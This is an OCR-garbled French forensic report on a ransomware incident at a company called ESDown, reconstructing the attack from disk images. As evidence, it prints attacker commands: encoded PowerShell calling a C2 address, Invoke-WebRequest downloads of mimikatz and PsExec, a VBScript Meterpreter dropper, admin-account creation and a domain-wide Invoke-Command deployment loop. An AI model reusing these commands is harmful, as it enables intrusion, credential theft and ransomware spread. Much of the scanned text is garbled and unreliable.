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Rappel du cadrage

Contexte

La société ESDown semble avoir été victime d'une attaque par ransomware, un
type de logiciel malveillant qui chiffre les données d'un systéme et exige une
rancon pour leur restitution.

L'ingénieur systeme sur place a effectué une premiere analyse et a levé un doute
quant a la nature de l'incident.

Je suis mandaté pour mener I'investigation, établir un plan d’action et proposer
des mesures de remédiation adaptées.

La crise a été gérée par le responsable informatique, qui a pris la décision
d’éteindre les switches ainsi que les firewalls/routeurs de sortie. Une équipe
dédiée a la gestion de crise a contenu l'incident et travaille actuellement sur
I'identification des services critiques a rétablir. Toutefois, avant de procéder a une
reprise progressive des services, il est impératif d'identifier les éléments
persistants et les systemes affectés par l'attaque.

Chain of custody

Chain of custody fait référence a la documentation et a la gestion rigoureuse de la
manipulation, du stockage et de la transmission de preuves (numériques ou
physiques) afin de garantir leur intégrité et leur authenticité tout au long de leur
traitement.

De ce fait, dans le cadre de cette enquéte nous avons un rapport d’échanges :

Q: Quand avez-vous constatez l'incident ?

R: L'incident a été détecté le 30/09/2022 a14h

Q : Comment avez-vous identifié l'incident ?

R : Des utilisateurs ont remontés que des fichiers étaient chiffrés

Q: Quels éléments de compromission avez-vous identifiés ?

R: Des fichiers .encrypted ont été identifiés sur le partage SHARE\ de WIN-DEV
Q : Des utilisateurs vous ont-ils remontés des faits similaires ?

R : Plusieurs utilisateurs m'ont indiqué que les fichiers des dossiers partagés
étaient inexploitables

Q : L'étendue de la compromission est-elle large selon vous ?

R : Nous ne savons pas jusqu'ou s'est propagé le malveillant
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Par ailleurs les acquisitions de cette enquéte sont sous la forme de VMs
échantillonner par I' équipe de gestion :

Machine Elément Type de Support
WIN-APP WIN-APP.vmdk Support virtuel (vmdk)
WIN-DEV WIN-DEV-diskl Support virtuel (vmdk)
WIN-DC WIN-DC-diskl.vmdk Support virtuel (vmdk)

Méthode d’investigation

La méthode d'investigation que j'ai adoptée pour cet incident a été congcue pour
respecter au maximum l'intégrité et l'authenticité des preuves numériques, en
particulier les images disque. Afin de garantir que les systemes et les données
n‘aient pas été altérés lors de I'analyse, j'ai procédé a une duplication des images

disque plutdt qu'a une analyse directe des originaux.

Pour cette investigation, j'ai utilisé un outil spécialisé, Autopsy, qui est un logiciel
d'analyse forensic reconnu. Autopsy m'a permis de monter ces images disque
clonées de maniére sécurisée, sans risquer d'altérer les données originales.

Via I'outil Autopsy j’ai pu récupérer et analyser les informations suivantes :

L'historique des fichiers et des modifications effectuées sur les disques.
Les traces d'activités suspectes, y compris les fichiers malveillants
potentiellement déployés par l'attaque.
La chronologie des événements sur les systemes concernés, permettant
ainsi de mieux comprendre le vecteur d'attaque et 'ampleur de la

compromission.
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Evidences identifiées

La premiére piéce a conviction serait un fichier Word contenant une macro, ce qui
est inquiétant, d'autant plus qu'il porte le nom facture.docm .

[30-09-2022 // 13h54 :UTC+1] — Facture.docm

Facture.docm 2 : C 3 ]
. Facture.docm:Zone.|dentifier 0 ;54 5 ;54 S 0 :54:54 CES 2 4:54:54 CES 0 E
FileZilla_Server_1.3.1_winf4-setup.exe B
FileZilla_Server_1.5.1_win&4-setup.exe:Zone.ldentifii

npp.8.4.2.Installerxf4.exe
npp.2.4.2.Installerxfd.ex eZone.ldentifier

<
Hex  Text File Metadata OS Account Data Artifacts Annctations Other Occurrences
Metadata

Mame: fimg_FORENSIC_CPT-disk002.vmdk/vol_vol3/Users/jkhalfa/Downloads/Facture.docm:Zone.|dentifier

Type: File System

MIME Type: text/plain

Size: 50

File Mame Allocation: Allocated
Metadata Allocation: Allocated

Modified: 2022-09-30 14:54:56 CEST
Accessed: 2022-09-30 14:34:54 CEST
Created: 2022-09-30 14:34:54 CEST
Changed: 2022-09-30 14:34:56 CEST

[30-09-2022 // 13h54 :UTC+1] — Téléchargement par mail de Facture.docm

Mais avant cela, on remarque que le fichier a été téléchargé suite a un email recu
qguelques secondes plus tot sur ProtonMail.

https://mail.proton.me/u/0/inbox/tanDgqByp2)PskidzF... (2) Boite de réception | persojeremy@proton.me | Prot...

https://mail.proten.me/u/0/inbox

I
1

2 places.sqlite 1 https://mail.proton.me/loginselector=m&wknzkyyiw... 2 S ps:/faccount.proton.me/authorize?app=proton-ma... Proton Mail Fire

g places.sqlite

mail.proton.me/login®selector=mbwknzkyyiw... (2) Boite de réception | persojererny@proton.me | Prot... Fire

Cela se passe sur la machine WIN-APP de ['utilisateur

[30-09-2022 // 13h58 :UTC+1] — Initialisation d’'une tache planifiée

Suite a l'ouverture du fichier Word contenant une macro, cela peut étre facilement
identifié grace au « m » dans I'extension .docm.

2022-09-30 12:58:36.447

ChWindows\systemn32\svchost.exe
ChWindows\Systern 32\ Tasks\WindowsUpdate
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En se connectant a la machine de l'intéressé, nous constatons bien la tache
planifiée qui pointe vers ce qui pourrait étre un serveur C2 de l'attaquant, sur
lequel nous nous pencherons plus en détail ultérieurement.

Général Déclencheurs Actions  Conditions Paremétres  Historique —
ne exécution  Heure de la den fons

3
4 Lorsque vous créez une tiche, vous devez en. Aelatarhe 2870072022 02:0| | Bibliothéque du |

3071171999000 | B] Créerunets

Action Details Vous devez spécifier Iaction que cette tiche effectuera. v Créerunetd
Démarter un progr... powershell.exe -ex

Action: | Démarrer un programme -

Importer uni

74 Afficher tout

Paramétres
& Désactiver Il
Programme/script : < Nouveau do
powershell.exe \ Parcourir. Affichage
Ajuterdes rguments facubat): g Actulier
] Sanstitre - Bloc-notes - o X

Fichier Edition Format Affichage 7
-exec bypass -c "if (!(Get-NetTCPConnection -RemoteAddress 51.75.146.195 -RemotePort 4444)) { pout
< BEAEUAQEBXAEMAR B j AE CAbWBQAHUARAB LAHYARGBKAHKAegBPAEMALWB tAGE AaQBUAHQAZQBUAGEAbEB ] AGUAL gBWAHMAMQA:

Nouveau...

Par la suite, suite a I'exécution du fichier facture.docm, une tache planifiée se
déclenche et s'initialise, ce qui entraine le téléchargement de Sharphound.

2022-09-30 12:58:36.447
SWindows\system32\svchost.exe
Ch\Windows!\Systern 32 Tasks\ WindowsUpdate
2022-09-30 12:58:36.447

AUTORITE NT\Systéme

hed

bl

Microsoft-Windows-5Sysmon_

BpW

icrosoft-Windows-5Sysmon/Operational

2022-09-30 12:58:45.980

AWindows\System 32WindowsPowerShellvw 1.0 powershell.exe
ChlUsershjkhalfatAppDatatLocal\ TempSharpHound.exe

Sharphound est un outil de reconnaissance utilisé dans les attaques ciblant les
environnements Active Directory. Il permet de cartographier les relations entre les
utilisateurs, groupes, ordinateurs et permissions au sein d'un domaine Active
Directory.

L'intérét de Sharphound réside dans sa capacité a identifier des chemins
d'escalade de priviléges et des cibles potentielles, comme des comptes avec des
privileges élevés ou des failles de configuration

B MDASNDNJOWHMIFIZSOOMGRILTHODINDIINzCAN --- 2022-09-30 15:00:02 CEST | 2022-09-30 15:00:02 CEST | 2022-09-30 15:00:02 CEST | 2022-09-30 15:00:02 CEST - Allocated |Allocated |unknown | fimg]
CEST 20 CEST 20 CEST 10

SharpHound.exe 20 Allocated  Allocated unknown fimg
4
Hex Text File Metadata OS5 Account Annotations Other Occumrences
Strings Extracted Text
Page: 1 of - Page Matches on page: - of - Match 100% |2 D  Reset Text Source: | File Text v

08":"Group","$-1-5-21-1550726 1

{"GlobalCatalogCach -1138""User","5-1-5-21-1550726828-1127960481-2684471

up","5-1-5-21-1550726828- 1127960481 - 26844

828-1127960481-268447100; DCBCSCB-FB0G-4273-81D1-350E218ADC "§-1-5-21-1550726828-1127960481-2684471007-1141""Use 1-5-21-1550726828- 1127960481
72" Group”,"ASAAD4FS-4FES-413B-0405- 34CEBEBDD9 3 . TED "GPO","5-1-5-21-1550726828-1127960481-2684471007- 1101
", "5-1-5-21-1550726828- 1127%0481 ZEW71DD7 571""Groj - "GP0, "5-1-5-21- 1550725328 1127960481-2684471007-1143""User","5-1-5-21-1550721 7960481-2684471007-1111" "User" " 471

71007-512":"Group", " A0OB18923-EE02-4D16-9319-F17EB81 A2E99": "$-1-5-21-1550726828-1127960481-26
. User","5-1-5-21-1550726828-1127960481-2684471007-1113":" Group ", "S-1-5-21-1550726828-1127960481-26844
71007-516' ","5-1-5-21-1550726828- 112795Dd31 2684471007-517 :"Group","S-1-5-21-1550726828-1127960481-2684471007-515""Group","CB1144D7-EB46-40F4- B088-BECB02ESBAD2
""Container’,"5-1-3-21-1530726828-1127960481- 2684471007-518"" Group”,"5-1-3-21- "Container”,"1
CD26D1C-0166-4CDA-BF3C-1AEGAFT060CE " "GPO","DEBDFEOF-3864-4913-BFA4-G0BEDESCFB53" " Container”, "000A2EA4- AC91-4022-93EE-A2941EBE1924™: " Container", "B630682E - FEGS-4662-8063-9B91399003E4 " "Container","5-1-3-21-1350726828-11
27960481-2684471007-498"" Group "880918AA-4033-4BDF-ACED-6F58CB61 2903 *,"20CC014D-2D87-4C9A-8372-FDBDFEBS495F " Container -5-21-1550726828-1127960481-2684471007-11. User","DE3664A7-270B-4F2C-AE10-2ABB
omputer',"s-1-3-21-1550726828-1127960481-2684471007-1114":"Group'","5-1-3-21-1350726828- 1127960481
2624471007-1148"" User SEAEFZ% DBD1 ADSU SDSD SDE3ESESE7DA”‘ iner',"2039BB30-3365-480D-A3D3-BT950E0FDGES": 1-5-21-1350726828-1127960481-2684471007-1118";"Ust 1-5-21-1550726828-1127960481-2684471007-1109"
"Group","82880123-6E52-4DBE-BCFD-F4718E12D622""GPQ", "8606E575-496A-416A-8C21-89CFAB4811FD": " Container”, "57865E6B-4F 27-49E4-B1BC-7BCF2469E85F":"0U", " C73439D0-D638-4AB0- AQDE BBABSE0DB051":"GPO","91D5607D-F7F9-4C67-A15
B-B?T3FAADASB?"‘"(untamEr”,”[995E494-A45A-43EF-QDAB-FD[E(B[TEl99":"(nnta\r|Er","4DDF345D-7373-4EBD-A79D-DDEDQDD((EBA "Container","CC4F69C1-9B68-- 41A[ BE3D-B32BF042840F":"Container”,"5-1-5-21- TﬁSDHEElB 1127960481-268447
1007-502"" User", "BIBAB523-8892-482C-9A14-832833FTOFG8": "Container” "C44FTB7D-B571-4F 18- AD36- TFAES4BBAATF :"QU", 475721rl550725&2871TZ?%M&NEEW?TDD?JTED" roup”, T75721rl550725&28711279504&1725&44710077503 User","
§-1-5-21-1550726828-1127960481-2684471007-1130""Computer”,"5-1-5-21-1550726828- 1127960481 -2684471007- 50 1-5-21-1550726828-1127960481-2684471007-501""User","5-1-3-21-1550726828-1127960481- 2684471007-1110":" User", "S-
1-5-21-1550726828-1127960481-2684471007-1142":" Computer -5-21-1550726828-1127960481-2684471007-1122" USE S 1-! 5 21 155D725E28 11279504&1 253447TDD7 1102° Gmup BSFE51B 1D72 412( 8524 50098B4DEGCE"
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[30-09-2022 // 13h58 :UTC+1] — Initialisation d’'un script Powershell

Ci\Users\jkhalfa\AppData'Local\ Temp!,

ESDOWNjkhalfa

Medium

MD3=7D9213F8F3CBA4035342EFF1CIDBE341,5HAZ56=1F74EDGEG1 880D 19E53CDESBODGTANS07EFDADBEGG 18603000 CEBOF20EASA4SF4, IMPHASH=F34D3F2D45377EDEDICEECS16CTF3ATA4
AWindows\Systern 32\ WindowsP owerShell\w1.0\powershell.exe

"CAWindows\System32\WindowsPowerShellw1.0hpowershell.exe” -NeP -w hidden -exec bypass -enc

JAByAFoABOBtAEQASWEx AHIAUABNAEEACOBQAGEAY gBtAGYATABWAGOAWABVAEgAROBIAECABABHAEQACCENAHMAQYBEAGOAIAASAC AAIgBOAEY AbwAIADSAIAAKAEQAWgBnAHMAWBRAEEAUWBDAGY AcOBIAFUATOBBAHKARCBRKAEMAS
ESDOWNYjkhalfa

Microsoft-Windows-Sysmon_

Bl

icrosoft-Windows-Sysmon/Operational

2022-09-30 12:58:35.668

IN-DC.esdown.local

«ffff:192,168.11.20;

C\Users\jkhalfa\AppData\Local\Termp'SharpHound. exe

ESDOWNYjkhalfa

Mirrocnft Win Ao Gcmnn

En paralléle l'attaquant a lancé un script encodé. |l apparait qu'il a exécuté le script
maintenance.psl

[30-09-2022 // 14h01 :UTC+1] — Exécution d’un exécutable malicieux

M vwReWObvwm.exe | @ | | [2022-09-3013:01:10 AZOST |2022-09-30 13:01:10 AZOST | 2022-09-30 13:01:00 AZOST | 2022-09-30 13:01:09 AZOST | 7168

L'exécution de cet exécutable malveillant a potentiellement permis a l'attaquant de se
latéraliser vers la machine WIN-DEV, une autre machine du réseau et domaine. Cet
exécutable est notamment détecté comme un shellcode par VirusTotal.

C' Reanalyze = Similar v More Vv

ef56a23cf3374ffe38cb6ef20957ba2e5c692f9d 1dadb7412ac5fcd109b7b66a

vwrRzZWObvwm.exe 7.00 KB 2 months ago

DETECTION DETAILS COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label Threat categories trojan Family labels marte  shellcode  hack

[30-09-2022 // 14h26 :UTC+1] — Téléchargement de mimikatz et dump du fichier LSASS

cd MppDatatLocal\Temp,
invoke-webrequest -uri "hitp://microsoft-esdacademy.k-fa.info/mimikatz_trunk.zip" -OutFile "package.zip”
Invoke-WebRequest -uri "http/fmicrosoft-esdacademy. k-Ifa.info/PsExec.exe” -OutFile "psexec.exe”

Mame s C o] Meodified Time Change Time Access Time Created Time

o [current folder]

L [parent folder]

.. package
lsass.DMP v 0
B2 package.zip 0
psexec.exe v 0
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Le but du dump de LSASS permet a I'attaquant d'extraire des informations sensibles,
comme les mots de passe ou les hachages NTLM des utilisateurs, a partir du processus
LSAS. Ces informations peuvent étre utilisées pour escalader les privileges.

Quelques minutes plus tard grace au dump il a pu récupérer des identifiants lui
permettant de se connecter a la machine WIN-DC.

I Enter-P55ession -computername WIN-DC.esdown.local

[30-09-2022 // 14h35 :UTC+1] — Téléchargement d’'un dropper et exécution d’un fichier
malicieux

Neme § € 0 | Modified Time Function WRXNSHNGF(gSnILwTL)

20 3 RnyPz2WEKSTIQw = * <B64DECODE xmins:dt="8t Chr(34) & "urnischemas-microsoft-com: datatypes” & Chr(34) 8" " & _
. Chi(34) 8 "bin.baseb4" & Chr(34) & ">" & _

& </BEADECODE>"

1! [eurrent folder]

1l [parent folder]

1 2334F C47-39A5-AC A6-9FCE- DDT2E3ET6248 Set DThzdVipKs = CreateObject("MSXML2 DOMDocument £3.0°)
J 9CCEBEDE-A98C-4302-80C3-2E7CDCDADE T2 DThadVipXs LoadXMLRnyPZWEKsTIQw)
WRXNSHNGF = DThzdV ("BS4DECODE)
£ Low set DThzdVtpXs = nathing
ARWConfig-beed301o-88a0-4c2f-2128-2f771842f5¢ 0 n
wAve(
Knod6ECtmp lqyvOREMVKz =
oRDgAf.exe 0 Dim QuApDjst

Set QuApDisr = CreateObject("Seripting,FileSystemObject’)
HhSN

TempWinSAT-wse-2022-09-27-23-41-21-38.tmp 0 Dirm DENi
TempWinSAT-wsk-2022-09-27-23-41-21-38.tmp 0 Dim urNKIEqoQ:

o b Set DENnHASN = QuApDjsr.GetSpecialFolder(2)
tmpB13tmp VrNKIEGeQ = DENnHhSN & "\" & QuApDjsr GetTempName(
wmsetup.log 0 teFolder(vNKIE:

q0Q)

KIEqoQ & "\" & "HYIZFiFx.exe’
Dirm KS0sRDbeQJjOukz
Set KSQsRDb:QJjOukz = CreateObject("Wscript.Shell)
2KeCQBxwMaZiB = WRXNSHNGF (v)qyvQREMVKz)
Set WIFmGBI[TO = CreateObject(*ADODB. Stream")
WIFmGERTO. Type = 1
WIFmGBI|TO.Open
WIFmGBHTO.Write 2KeCQBiwMaZiB
WIFmGBiTO.SaveToFile FMjziwMPyFsfkgs, 2
KSOsRDbQJjOukz.run FMjziwMPyFsfkgs, 0, true
QuApDjsr.DeleteFile(FMjziwMPyFsfkgs)
QuApDjsr.DeleteFolder(viNKIEGeQ)

End Function

mxfAve

WScript Sleep 10000

A la suite d’'une analyse immédiate de I'exécutable, VirusTotal indique qu'il s'agit d'un
Trojan/Meterpreter, ce qui signifie que l'attaquant, via le payload, obtient une interface de
commande a distance pour contrdler la machine..

C Reanalyze == Similar ~  More ~

92370396d10e8f498dch58a6af5158dbaa8T1dTe8b958¢a13e10ad 138827873 Size Last Analysis Date

oRDgAfX.exe 1month ago

peere  idle
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY | 10

Jain our Community and enjoy additional community insights and rced detections, plus an Al automate checks.

Popular threat label Threat categories  trojan Family labels meterpreter  razy  rozena
Security vendors' analysis (& Do you want to automate checks?
AhnLab-v3 Alibaba

AliCloud AlYac

Dans la section comportement, nous avons une loC, car nous avons pu obtenir 'adresse
IP de la machine servant de C2 pour l'attaquant.

Highlighted actions

Decoded Text

{'Rozena': {"C2": ['51.75.140.195'], 'Port": [4448]}}
s {"Type": "Metasploit Connect", "IP": "51.75.140.195", "Port": 4448}
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[30-09-2022 // 14h36 :UTC+1] — Création et ajout privilége d’un utilisateur crée

net user krbtgs toor /domain fadd
AUTORITE NT\Systéme
Microsoft-Windows-5ysmon_

BpW*
icrosoft-Windows-5Sysmon/Operational
~It8

2022-09-30 13:36:11.609
SWindows\SysWOWEd\net.exe
10.0.14393.0 (rs1_release.160715-1616)

Met Command

Microsoft® Windows® Operating System
Microsoft Corporation

net.exe

net localgroup "Administrateurs” krbtgs fadd /domain
ChWindows\system 324,

Dans les logs d'événements Sysmon du serveur, nous observons que l'attaquant ne perd
pas de temps et crée immédiatement un utilisateur avec des droits admin.

[30-09-2022 // 14h36 :UTC+1] — Ouverture de flux dans le firewall

Par la suite, il ouvre le flux du service REMOTE DESKTOP.

2022-09-30 13:43:38.462

AWindows\ SysWOWEd\netsh.exe

10.0.14393.0 (rs1_release. 1607153-1618)

Metwork Command Shell

Microsoft® Windows® Operating System

Microsoft Corporation

netsh.exe

netsh firewall set service type = remotedesktop mode = enable
ChWindows\system 32

AUTORITE NT\Systeme

[30-09-2022 /I 14h47 :UTC+1] — Chiffrement de tous les postes du domaine

Source Name 5 C
& cache-deaner.nk

& package.Ink

Path — Date Accessed Data Source
i serst AdministrateuriappDatal Locali\Microsoftwindows| packagel cache-cleaner, ps1 2022-09-30 19:47:28 CEST  WIN-DC.raw
i serst AdministrateurappDat sl LocaliMicrosoftwWindowspackage 2022-09-30 19:47:28 CEST  WIN-DC.raw

Le script cache-cleaner.psl est chargé du chiffrement de certains chemins spécifiques,
tandis que load.psl se concentre sur le déploiement du scrip t sur tous les serveurs.

cache-cleaner.psl

Import-Module ActiveDirectory
Ssrvs = (Get-ADComputer -Filter *).DM5HostName

pere[15_PSisContaines | foreach (Ssrv in Ssrvs)

{

o

Invoke-Command -ComputerMName Ssrv -FilePath \cache-cleaner.ps1 -ErrorAction "SilentlyContinue”

}
load.psl
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Réponse a incident

Mesures correctives

La mesure corrective pour ce déploiement de ransomware sera relativement
simple, étant donné la simplicité du code de chiffrement et que la clé de

chiffrement et stockée dans la fonction.

Il suffira de modifier le mode en decrypt, et I'ensemble du parc sera déchiffré.

Cependant, pour des mesures correctives plus durables, nous pourrions
envisager dans un premier temps la mise en place un tiering dans Active
Directory, ce qui aurait rendu plus difficile pour l'attaquant d'escalader ses
privileges et de se déplacer latéralement au sein du réseau.

Voici a la suite du déchiffrement, I'utilisateur peut désormais récupérer ses

données.

Corbeille  Arch_sauvega..

2z N

Administer  compta2021.xl...
FileZilla Server

H N

Firefox compta2022.xl...

9 N

oogle Chrome ESD.docx.encr...

Start FileZilla  IMG_20220523_...
Server

NOTE

Stop FileZilla

Windows ne peut pas ouvrir ce type
de fichier (.encrypted).

Essayer une application sur ce PC

PERSONNEL.d...

pour

demain.bd.enc...

T B o

Corbeille

oz

Administer
FileZilla Server

9

Firefox

4

Google Chrome IMG_20220523...

oz

Start FileZilla
Server

oz

Stop FileZilla
Server
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compta2021

i

compta2022

2
%—j
i

NOTE
PERSONNEL

pour demain

Arch_sauvega...

| pour demain - Bloc-notes

Fichier Edition Format Affichage 7

t[nstaller‘ plugin notepad
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